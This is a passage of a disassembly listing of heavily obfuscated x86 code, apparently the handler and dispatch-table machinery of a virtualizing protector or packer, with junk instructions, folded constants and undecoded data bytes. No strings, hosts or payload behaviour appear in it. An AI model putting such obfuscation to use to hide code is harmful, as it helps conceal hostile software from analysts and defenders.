		dd 4C281h, 0C2830000h, 8565E902h, 0D834FFFFh, 58C700h
		dd 0FE07E9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595B82:				; CODE XREF: sdfs____:005944A0j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_598664
; ---------------------------------------------------------------------------
		dd 4C381h, 1C330000h, 241C3124h, 0FFAE1FE9h, 12B850FFh
		dd 81772A3Bh, 0E622D4C3h, 81C30114h, 0E622D4EBh, 2434FF14h
		dd 582434FFh, 0FFAF08E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595BC1:				; CODE XREF: sdfs____:00592560j
		mov	ebp, 64994A2Fh
		mov	edx, 66696B43h
		sub	edx, ebp
		jmp	loc_58B9FB
; ---------------------------------------------------------------------------
		dw 6C01h
		dd 0FF5D0424h, 348B2434h, 4C48324h, 81E28952h, 4C2h, 0E27CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595BEE:				; CODE XREF: sdfs____:00593824j
		mov	esi, 18C4421Bh
		add	edi, esi
		jmp	loc_58CDAE
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 0FF617AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595C01:				; CODE XREF: sdfs____:00592725j
		add	eax, 3B2407CCh
		sub	eax, 2E213A67h
		add	eax, 70DA14E8h
		pop	ebx
		jmp	loc_593E2B
; ---------------------------------------------------------------------------


loc_595C16:				; CODE XREF: sdfs____:005930D4j
		pop	esi
		mov	esi, [esp]
		jmp	loc_58BECF
; ---------------------------------------------------------------------------
		db 66h
		dd 52240C8Bh, 0C281E289h, 4, 4EA81h, 0B3E90000h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595C37:				; CODE XREF: sdfs____:005961B9j
		xor	[esp+4], ecx
		pop	ecx
		pop	eax
		push	ebx
		push	ebp
		push	30A16799h
		pop	ebp
		jmp	loc_58D452
; ---------------------------------------------------------------------------
		dw 0D729h
		dd 243C875Ah, 0FFC89FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595C55:				; CODE XREF: sdfs____:0058C32Aj
		jmp	loc_58D375
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 0E9000000h, 739h
; ---------------------------------------------------------------------------


loc_595C68:				; CODE XREF: sdfs____:00590769j
		push	edx
		mov	edx, 4
		sub	edi, 487B753Dh
		jmp	loc_591153
; ---------------------------------------------------------------------------


loc_595C79:				; CODE XREF: sdfs____:0058CC6Fj
		xor	ecx, [esp]
		jmp	loc_591C16
; ---------------------------------------------------------------------------


loc_595C81:				; CODE XREF: sdfs____:00595805j
		mov	ebx, 65B7601Eh
		add	ebx, 0B85BE5ACh
		add	ebp, ebx
		pop	ebx
		add	ebp, ebx
		push	1F86h
		mov	[esp], edx
		mov	edx, 1E1345CAh
		sub	ebp, edx
		pop	edx
		mov	ebx, [esp]
		jmp	loc_58D500
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FFC466E9h, 92E681FFh, 0E9138666h, 0FFFFE585h, 240C8B66h
		dd 6602C483h, 361E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595CCA:				; CODE XREF: sdfs____:0058E57Aj
		shr	eax, 8
		xor	eax, ecx
		xchg	eax, ebx
		push	ebx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_591ECC
; ---------------------------------------------------------------------------


loc_595CDF:				; CODE XREF: sdfs____:00592573j
		mov	ebp, 56704E7Ch
		mov	ebx, ebp
		pop	ebp
		add	eax, ebx
		pop	ebx
		jmp	loc_59229F
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 14AFE9h
		db 0
; ---------------------------------------------------------------------------


loc_595CFD:				; CODE XREF: sdfs____:00590756j
					; sdfs____:00591F10j
		pop	ebp
		not	edx
		add	edx, 617D39FAh
		sub	edx, 7C43B1D1h
		xor	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esi
		mov	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_593FD4
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 505E5424h, 5A3A2CB8h, 17A9E974h
		dd 5E540000h, 4C681h, 0CAE90000h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595D4B:				; CODE XREF: sdfs____:0058CC28j
		add	ecx, 0C0361A5Eh
		add	esi, ecx
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	3B8Bh
		mov	[esp], eax
		jmp	loc_597251
; ---------------------------------------------------------------------------
		dw 16B6h
		dd 1CA3E9h, 0C4835900h,	0A688E904h, 8B66FFFFh, 0EC812404h
		dd 4, 81240489h, 4ECh, 4F7B6800h, 24890000h, 24048324h
		dd 24048F04h, 4BE56h, 0D9E90000h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595DAB:				; CODE XREF: sdfs____:0058BEA9j
		sub	al, ch
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 70h
		not	ch
		push	eax
		mov	ah, 3Dh
		neg	ah
		shr	ah, 4
		sub	ah, 0A4h
		jmp	loc_592C8F
; ---------------------------------------------------------------------------
		db 66h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		push	eax
		jmp	loc_58E114
; ---------------------------------------------------------------------------
		db 1
		dd 0F1875DE9h, 81F1874Eh, 504D54E9h, 8BCE01D1h,	0C483240Ch
		dd 4C68104h, 33000000h,	34312434h, 0B270E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595E06:				; CODE XREF: sdfs____:loc_59007Ej
		sub	eax, 1119E9F6h
		jmp	loc_598B17
; ---------------------------------------------------------------------------


loc_595E10:				; CODE XREF: sdfs____:00592865j
		sub	eax, 0CD54FA96h
		jmp	loc_5949D9
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 555B5424h, 2C5042BDh, 192E96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595E2A:				; CODE XREF: sdfs____:00596DB4j
		mov	ecx, 2
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 1912E9h, 8EDC100h, 0C4B8880Fh, 11E9FFFFh
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595E4F:				; CODE XREF: sdfs____:0058BAA4j
		push	dword ptr [esp+4]
		jmp	loc_591F1D
; ---------------------------------------------------------------------------


loc_595E58:				; CODE XREF: sdfs____:00593F5Fj
		mov	ebp, 335D2253h
		push	ebx
		jmp	loc_591CFE
; ---------------------------------------------------------------------------
		db 81h
		dd 0FD13C6C1h, 0D88B0F41h, 57FFFF9Fh, 8BE880BFh, 98CFE947h
		dd 8B66FFFFh, 5456240Ch, 5224348Bh, 28A9E9h, 2434FF00h
		dd 0E92434FFh, 0FFFFFEE1h, 0E9240C33h, 0FFFFA40Bh, 0D2E9CE01h
		dd 5EFFFF81h, 988E9h
		db 0
; ---------------------------------------------------------------------------


loc_595EA9:				; CODE XREF: sdfs____:0058C992j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_595EAE:				; CODE XREF: sdfs____:0058FEB1j
		pop	ebx
		sub	bl, al
		pop	eax
		push	ecx
		mov	cl, 1Dh
		or	cl, 98h
		jmp	loc_5929B9
; ---------------------------------------------------------------------------
		db 89h,	0D7h, 5Ah
		dd 0E95FFE01h, 0FFFFACC1h, 0B9240C89h, 88613CEh, 0FF9A07E9h
		dd 241433FFh, 0FF6FFAE9h, 0C9BEBDFFh, 0EB31F8B9h, 0FCE9555Dh
		dd 0E9FFFFDFh, 0FFFF7E9Eh
; ---------------------------------------------------------------------------


loc_595EF0:				; CODE XREF: sdfs____:0058F0B3j
					; sdfs____:0058FDB7j
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_595EFC:				; CODE XREF: sdfs____:00591B2Cj
		xor	esi, edi
		pop	edi
		jmp	loc_5922CC
; ---------------------------------------------------------------------------


loc_595F04:				; CODE XREF: sdfs____:0058F6F9j
		sub	esp, 4
		jmp	loc_594269
; ---------------------------------------------------------------------------
		db 81h
		dd 374B7DCFh, 0FB8EE979h, 6852FFFFh, 0FEh, 0E44CE95Ah
		dd 0E95EFFFFh, 1EAh
; ---------------------------------------------------------------------------


loc_595F2C:				; CODE XREF: sdfs____:0058FB96j
		add	eax, ebx
		push	ebx
		mov	ebx, 64B43C8h
		add	eax, ebx
		pop	ebx
		jmp	loc_58E7D3
; ---------------------------------------------------------------------------
		dd offset dword_4ECA24+7744h
		dd 1E25E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595F46:				; CODE XREF: sdfs____:loc_58FE94j
					; sdfs____:00597B4Bj
		xor	esi, 68850A1Dh
		jno	loc_58F77A
		xor	esi, 3E19768Ch
		jmp	loc_595A6A
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 12E9405Ah
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595F67:				; CODE XREF: sdfs____:0058D0B1j
		inc	ebx
		jle	loc_58ED45
		push	edi
		mov	edi, 5A191133h
		sub	edi, 6A2F1903h
		not	ecx
		xor	ecx, 5BCD14CEh
		add	ecx, 1
		add	ecx, 0D2B0B476h
		sub	eax, ecx
		jmp	loc_590BD9
; ---------------------------------------------------------------------------
		dw 0BBh
		dd 0E9000000h, 0FFFFA957h, 8B59C888h, 0C481241Ch, 4, 3049B753h
		dd 0B1515BF8h, 59C8007Fh, 0E952C8FEh, 0FFFF8821h, 356DE581h
		dd 0ED8158D5h, 33D41CD0h, 70CFED81h, 0ED8114C2h, 0FF6D829Dh
		dd 2C8BEB01h, 4C48124h,	51000000h, 0FF7B60E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595FE5:				; CODE XREF: sdfs____:00594D4Cj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2000h
		jmp	loc_59176A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 5A545224h, 5D685655h, 5E71AC52h, 41E2F681h, 850F416Dh
		dd 0FFFFA901h, 0BBB85051h, 8930C113h, 0B05058C1h, 66C330B7h
		dd 8124048Bh, 2C4h, 69ABE900h, 0C281FFFFh, 0F40C1F3Dh
		dd 315AD089h, 3A0558C2h, 17B327Bh, 4E952D0h, 0F700001Dh
		dd 81DFF7D7h, 1A496AC7h, 829DE93Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596066:				; CODE XREF: sdfs____:005905F9j
		add	ebp, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_590CB2
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFB39Eh
; ---------------------------------------------------------------------------


loc_596078:				; CODE XREF: sdfs____:00597124j
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_59626B
; ---------------------------------------------------------------------------


loc_596083:				; CODE XREF: sdfs____:0058BBBAj
		mov	ecx, 652F2Fh
		add	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		push	5FDFh
		jmp	loc_58E0A6
; ---------------------------------------------------------------------------
		dd 2B1E9B3h, 0FE5BD900h, 52D1F6C1h, 0FF9D75E9h,	56E95AFFh
		dd 49FFFFC0h, 1BA52h, 0D1010000h, 8F1815Ah, 560F7819h
		dd 8904EC83h, 0B951242Ch, 15084804h, 242C8151h,	39B0291Eh
		dd 1EC5815Dh, 5939B029h, 6DD1E581h, 8F0F0FB0h, 0FFFFCA50h
		dd 0EDC1D5F7h, 6C93E903h, 0CA29FFFFh, 0B8C68859h, 610E2359h
		dd 2958C201h, 0ED42E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59610A:				; CODE XREF: sdfs____:0058E21Bj
		pop	ax
		push	ecx
		mov	ch, 2Fh
		add	al, ch
		jmp	loc_58DAB7
; ---------------------------------------------------------------------------
aIgSc		db '‰G éç',7,0
		align 2


loc_59611E:				; CODE XREF: sdfs____:0058CF31j
					; sdfs____:00597928j
		mov	ch, bh
		mov	[edi+eax*4], ch
		jmp	loc_58DE20
; ---------------------------------------------------------------------------


loc_596128:				; CODE XREF: sdfs____:00590B46j
		push	ecx
		push	esi
		mov	esi, 79EE1565h
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edx, ecx
		pop	ecx
		add	edx, 12273A74h
		add	edx, ebx
		sub	edx, 12273A74h
		add	edx, 79EE1565h
		jmp	loc_591CD4
; ---------------------------------------------------------------------------


loc_596153:				; CODE XREF: sdfs____:0059552Bj
		jmp	loc_58BF25
; ---------------------------------------------------------------------------
		dd 4C281h, 0EA830000h, 24143304h, 0E9241431h, 0FFFF6F07h
		dd 0FDEE8146h, 81710C0Bh, 815E71CEh, 1EF68165h,	81660319h
		dd 967F97C6h, 6704E931h, 1B2FFFFh, 19E6E9h
		db 0
; ---------------------------------------------------------------------------


loc_596191:				; CODE XREF: sdfs____:0059542Bj
		dec	esi
		jmp	loc_58F004
; ---------------------------------------------------------------------------


loc_596197:				; CODE XREF: sdfs____:00590FCEj
		push	edi
		jmp	loc_58C81F
; ---------------------------------------------------------------------------
		db 1, 0EAh, 5Dh
		dd 0FFA412E9h, 0A5F281FFh, 0E946A062h, 0FFFFC250h
; ---------------------------------------------------------------------------


loc_5961B0:				; CODE XREF: sdfs____:00592314j
		sub	esi, 0E8850BF0h
		mov	ecx, esi
		pop	esi
		jmp	loc_595C37
; ---------------------------------------------------------------------------


loc_5961BE:				; CODE XREF: sdfs____:0058E8ABj
		push	6D2F48A7h
		pop	ecx
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_5934D7
; ---------------------------------------------------------------------------


loc_5961D6:				; CODE XREF: sdfs____:00597DF1j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		push	2D14h
		mov	[esp], esi
		push	edx
		push	eax
		mov	eax, 37FF10DEh
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	esi, 43EF16FEh
		add	esi, edx
		pop	edx
		sub	esi, 7BEE27D8h
		add	ebp, esi
		jmp	loc_58CF8C
; ---------------------------------------------------------------------------


loc_596214:				; CODE XREF: sdfs____:0058FADBj
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_591754
; ---------------------------------------------------------------------------


loc_59621F:				; CODE XREF: sdfs____:00597117j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58EB79
; ---------------------------------------------------------------------------


loc_596228:				; CODE XREF: sdfs____:005933B4j
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ebp
		jmp	loc_58E4E2
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4EC81h, 34890000h, 446824h, 44E96E2Ch
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_596257:				; CODE XREF: sdfs____:00598013j
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		add	ecx, 99DAB647h
		add	ebx, ecx
		jmp	loc_5908D9
; ---------------------------------------------------------------------------


loc_59626B:				; CODE XREF: sdfs____:0059607Ej
		add	ebp, 4
		jmp	loc_594B49
; ---------------------------------------------------------------------------
		dw 0F988h
		dd 0FFFD1FE9h, 81E289FFh, 4C2h,	2C28300h, 5C241487h, 804DC380h
		dd 0C3007BEBh, 0FFAE1EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596299:				; CODE XREF: sdfs____:0058E713j
		shl	edi, 2
		jmp	loc_5909DA
; ---------------------------------------------------------------------------
		db 0ADh, 81h, 0ECh
		dd 4, 53243489h, 0FFF59AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5962B1:				; CODE XREF: sdfs____:00595669j
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		jmp	loc_593452
; ---------------------------------------------------------------------------
		dd 8108EDC1h, 0DD7345C5h, 11E58172h, 81388149h,	0A687E4F5h
		dd 5DEE0196h, 1CDDE9h
		db 0
; ---------------------------------------------------------------------------


loc_5962E1:				; CODE XREF: sdfs____:0059868Aj
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_58CF81
; ---------------------------------------------------------------------------


loc_5962EB:				; CODE XREF: sdfs____:005986FAj
		push	ebx
		sub	dword ptr [esp], 67D437C0h
		pop	edx
		add	edx, 67D437C0h
		pop	ebx
		shr	edx, 8
		sub	edx, 0A435837h
		add	edx, 71EA69B7h
		jmp	loc_5936FF
; ---------------------------------------------------------------------------


loc_59630F:				; CODE XREF: sdfs____:00597A13j
		mov	eax, [esp]
		jmp	loc_58C831
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E95A2434h, 0FFFFC688h
; ---------------------------------------------------------------------------


loc_596320:				; CODE XREF: sdfs____:005944DFj
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_593B66
; ---------------------------------------------------------------------------


loc_59632C:				; CODE XREF: sdfs____:005987E1j
		mov	edi, 6A0A6B50h
		jmp	loc_58D892
; ---------------------------------------------------------------------------


loc_596336:				; CODE XREF: sdfs____:005910A4j
		add	eax, 0E34CB30Bh
		jmp	loc_5933EE
; ---------------------------------------------------------------------------
		dd 13A0E9ACh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596346:				; CODE XREF: sdfs____:0058F611j
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58C014
; ---------------------------------------------------------------------------


loc_596362:				; CODE XREF: sdfs____:005920A7j
		mov	ebx, 370600A1h
		shl	ebx, 4
		sub	ebx, 715F7A72h
		jmp	loc_58F52D
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 6A1FBABEh, 5EF78942h, 0FFC0B5E9h, 40CF80FFh,	0FF8C8AE9h
		dd 4E9C1FFh, 0E5890F41h, 0E9FFFF6Ch, 1CC0h, 3C8BFB29h
		dd 24048F24h, 0FF781CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5963A9:				; CODE XREF: sdfs____:0058E49Ej
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58FC0E
; ---------------------------------------------------------------------------


loc_5963B6:				; CODE XREF: sdfs____:0058C687j
		pop	eax
		push	16C9h
		mov	[esp], edx
		mov	dh, 0FBh
		not	dh
		sub	dh, 0A4h
		and	dh, 0E0h
		sub	dh, 25h
		xor	ch, dh
		pop	edx
		inc	ch
		neg	ch
		jmp	loc_591B96
; ---------------------------------------------------------------------------


loc_5963D8:				; CODE XREF: sdfs____:005939ECj
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		push	1FCCh
		mov	[esp], ebp
		mov	ebp, 150A0783h
		neg	ebp
		jp	loc_593C79
		jmp	loc_58D15D
; ---------------------------------------------------------------------------
		db 5Eh
		dd 6215ED81h, 0F50176CBh
		db 5Bh
; ---------------------------------------------------------------------------


loc_596405:				; CODE XREF: sdfs____:00598994j
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_58D842
; ---------------------------------------------------------------------------


loc_59641B:				; CODE XREF: sdfs____:00593B85j
		jl	loc_59599D
		jmp	loc_58F87F
; ---------------------------------------------------------------------------


loc_596426:				; CODE XREF: sdfs____:0058E0C8j
		add	esp, 4
		add	ecx, 44A534F7h
		add	ecx, edi
		sub	ecx, 44A534F7h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0
		add	edx, ecx
		add	eax, [edx]
		pop	edx
		jmp	loc_58E42A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 6722B850h, 0A7E9742Fh, 0F7FFFF98h, 1E883D0h
		dd 5E0C148h, 0AE250F0Dh, 51572D4Bh, 49E9E867h, 0BD00000Bh
		dd 2D980401h, 3AE9EE29h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596487:				; CODE XREF: sdfs____:0058C45Bj
		not	edi
		or	edi, 33771041h
		shr	edi, 7
		not	edi
		add	edi, 59B45669h
		add	ecx, edi
		jmp	loc_58C4AB
; ---------------------------------------------------------------------------


loc_5964A1:				; CODE XREF: sdfs____:005957E9j
		add	esp, 4
		movzx	ax, byte ptr [eax]
		jmp	loc_590AD9
; ---------------------------------------------------------------------------
		dd 8704C183h, 665C240Ch, 662DCB68h, 0E9241C89h,	0FFFFA5B1h
; ---------------------------------------------------------------------------


loc_5964C4:				; CODE XREF: sdfs____:00593996j
		pop	ebp
		neg	ecx
		sub	ecx, 6194CE2Eh
		add	esi, ecx
		jmp	loc_58F7B6
; ---------------------------------------------------------------------------
		dd 211CB850h, 0BD557D91h, 5EB436D5h, 9AFED81h, 0D0E9DF34h
		dd 0FF000016h, 34FF2434h, 0C4815824h, 4, 50595451h, 71E9E089h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596503:				; CODE XREF: sdfs____:00590CEFj
		sub	edx, ebx
		mov	ebx, [esp]
		jmp	loc_5952F6
; ---------------------------------------------------------------------------


loc_59650D:				; CODE XREF: sdfs____:00596788j
		and	ebp, 68F577C6h
		push	edx
		mov	edx, 1FD05030h
		xor	edx, 7D5A7E35h
		inc	edx
		jmp	loc_5927BF
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 1Ch
		dd 4E40B13Ch, 71E9DEF7h, 59FFFFE4h, 0E904EC83h,	0FFFF6DA1h
; ---------------------------------------------------------------------------


loc_59653C:				; CODE XREF: sdfs____:005932ECj
		sub	ebx, 86D3E631h
		mov	edx, ebx
		pop	ebx
		sub	ecx, edx
		pop	edx
		jmp	loc_58EF85
; ---------------------------------------------------------------------------


loc_59654D:				; CODE XREF: sdfs____:00595176j
		pop	ecx
		push	esi
		mov	esi, 0E4383Ah
		jmp	loc_58C367
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 24h
		dd 918EE924h, 0C681FFFFh, 6A58606Fh, 0FFC56FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59656D:				; CODE XREF: sdfs____:005982BFj
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	edx, 2A7E5A5h
		jmp	loc_597141
; ---------------------------------------------------------------------------
		dd 2404FF55h, 2EDC15Dh,	1089880Fh, 56E90000h, 68FFFFF1h
		dd 734Ah, 0FF241C89h, 5B042474h, 0E924048Fh, 17FFh
; ---------------------------------------------------------------------------


loc_5965B4:				; CODE XREF: sdfs____:00592794j
		shr	ebp, 3
		jnz	loc_598AB5
		sub	ebp, 0B7C44CC9h
		mov	esi, ebp
		mov	eax, eax
		sub	ebp, 97514C7h
		jmp	loc_59831B
; ---------------------------------------------------------------------------


loc_5965D2:				; CODE XREF: sdfs____:00594335j
		add	edx, edi
		pop	edi
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_597885
; ---------------------------------------------------------------------------


loc_5965E3:				; CODE XREF: sdfs____:0058D7DDj
		xor	edx, 9911E4C5h
		add	esi, edx
		jmp	loc_58DC24
; ---------------------------------------------------------------------------
		dd 2424D366h, 53CBE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5965FA:				; CODE XREF: sdfs____:00594CC7j
		mov	ebx, 4
		sub	eax, 41B33A5Fh
		sub	eax, 7DE0A98h
		add	eax, ebx
		add	eax, 7DE0A98h
		add	eax, 41B33A5Fh
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	edx
		push	ecx
		jmp	loc_58C3EC
; ---------------------------------------------------------------------------


loc_596637:				; CODE XREF: sdfs____:loc_58CA5Fj
		jmp	loc_596D3C
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0FFFFE3C2h
; ---------------------------------------------------------------------------


loc_596644:				; CODE XREF: sdfs____:00596F85j
		pop	ebp
		pop	ecx
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		mov	edi, 39637B0Dh
		jmp	loc_5933AA
; ---------------------------------------------------------------------------
		db 58h
		dd 6A75E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59666E:				; CODE XREF: sdfs____:00593A62j
		push	ebp
		push	esp
		push	dword ptr [esp]
		jmp	loc_58F728
; ---------------------------------------------------------------------------


loc_596678:				; CODE XREF: sdfs____:0058E534j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_596F8A
; ---------------------------------------------------------------------------


loc_596683:				; CODE XREF: sdfs____:00596B52j
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		jmp	loc_58C095
; ---------------------------------------------------------------------------


loc_596692:				; CODE XREF: sdfs____:00590A5Cj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58D99A
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 5124048Bh, 0B5E9E189h, 81FFFF5Dh, 3069E9CBh,	0B9850F1Ah
		dd 4B00000Fh, 0CD94850Fh, 860FFFFFh, 0FFFFD552h, 3C8991B6h
		dd 0BA525324h, 5A221C68h, 5703E2C1h, 0B47667BFh, 91C7810Eh
		dd 8110BF2Fh, 2D0F57C7h, 855CE934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5966EA:				; CODE XREF: sdfs____:005984A5j
		mov	edx, esp
		jmp	loc_58D69E
; ---------------------------------------------------------------------------


loc_5966F1:				; CODE XREF: sdfs____:0058D791j
		xchg	esi, [esp]
		pop	esp
		push	ebx
		jmp	loc_591023
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5E3E9h
		db 0
; ---------------------------------------------------------------------------


loc_596701:				; CODE XREF: sdfs____:0058DC15j
		push	dword ptr [esp+4]
		jmp	loc_590AD1
; ---------------------------------------------------------------------------
		dw 8950h
		dd 4EC81E0h, 89000000h,	58BA2414h, 81448E58h, 3A1B90CAh
		dd 298A0F07h, 0E9FFFFBCh, 0FFFFFC8Ah, 83241C8Bh, 8B5104C4h
		db 0EAh, 54h
; ---------------------------------------------------------------------------


loc_596736:				; CODE XREF: sdfs____:005976E1j
		push	ebx
		sub	esp, 4
		jmp	loc_591BAD
; ---------------------------------------------------------------------------
		dw 565Dh
		dd 0BE2C33BEh, 0A9F68116h, 0F76FC659h, 61EE81D6h, 0E986878Ah
		dd 0FFFF7C95h, 8105EBC1h, 530D16F3h, 789D6826h,	4890000h
		dd 6A446824h, 48B7396h,	0B6ACE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59677A:				; CODE XREF: sdfs____:0059170Ej
		add	edx, eax
		push	ebp
		mov	ebp, 523121E0h
		xchg	edx, ebp
		not	edx
		xchg	edx, ebp
		jmp	loc_59650D
; ---------------------------------------------------------------------------


loc_59678D:				; CODE XREF: sdfs____:0058D7A4j
					; sdfs____:00592C0Bj
		pop	edi
		add	ebx, 1BC2BB25h
		add	ecx, ebx
		pop	ebx
		jmp	loc_58FE3C
; ---------------------------------------------------------------------------
		dd 0FBEB8F0Fh, 0E9C1FFFFh, 890F4104h, 0FFFFC12Fh, 2605E9h
		dd 242C8900h, 52E9B056h, 6FC9B850h, 0E940393Ah,	0FFFF609Eh
; ---------------------------------------------------------------------------


loc_5967C4:				; CODE XREF: sdfs____:0059521Cj
		jnz	loc_58C173
		add	ebp, 17822F08h
		mov	edx, ebp
		pop	ebp
		add	ebx, edx
		mov	edx, [esp]
		pop	ebx


loc_5967D9:				; CODE XREF: sdfs____:005929CAj
		not	ebx
		neg	ebx
		push	edx
		jmp	loc_591FF1
; ---------------------------------------------------------------------------


loc_5967E3:				; CODE XREF: sdfs____:0058EFFFj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	13FEh
		mov	[esp], eax
		push	esp
		jmp	loc_58C8E0
; ---------------------------------------------------------------------------
		dd 5C241C87h, 0C5559305h, 0E9C80135h, 0FFFFA9AEh
; ---------------------------------------------------------------------------


loc_596810:				; CODE XREF: sdfs____:0059383Fj
		mov	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2CE566B6h
		or	eax, edi
		jmp	loc_58D00E
; ---------------------------------------------------------------------------
		dd 9C241CF6h, 0FF5194E9h, 0E9F889FFh, 0FFFF6C92h, 5724048Bh
		dd 0C781E789h, 4, 77F2BD55h, 0E9512A19h, 0FFFF9AB7h
; ---------------------------------------------------------------------------


loc_596850:				; CODE XREF: sdfs____:00590683j
		inc	eax
		jmp	loc_597B6D
; ---------------------------------------------------------------------------


loc_596856:				; CODE XREF: sdfs____:0059079Cj
		mov	[esp], ecx
		mov	ecx, 0FE5438Dh
		push	ebp
		mov	ebp, 1A171A5Eh
		jmp	loc_598BEE
; ---------------------------------------------------------------------------


loc_596869:				; CODE XREF: sdfs____:0058E4A6j
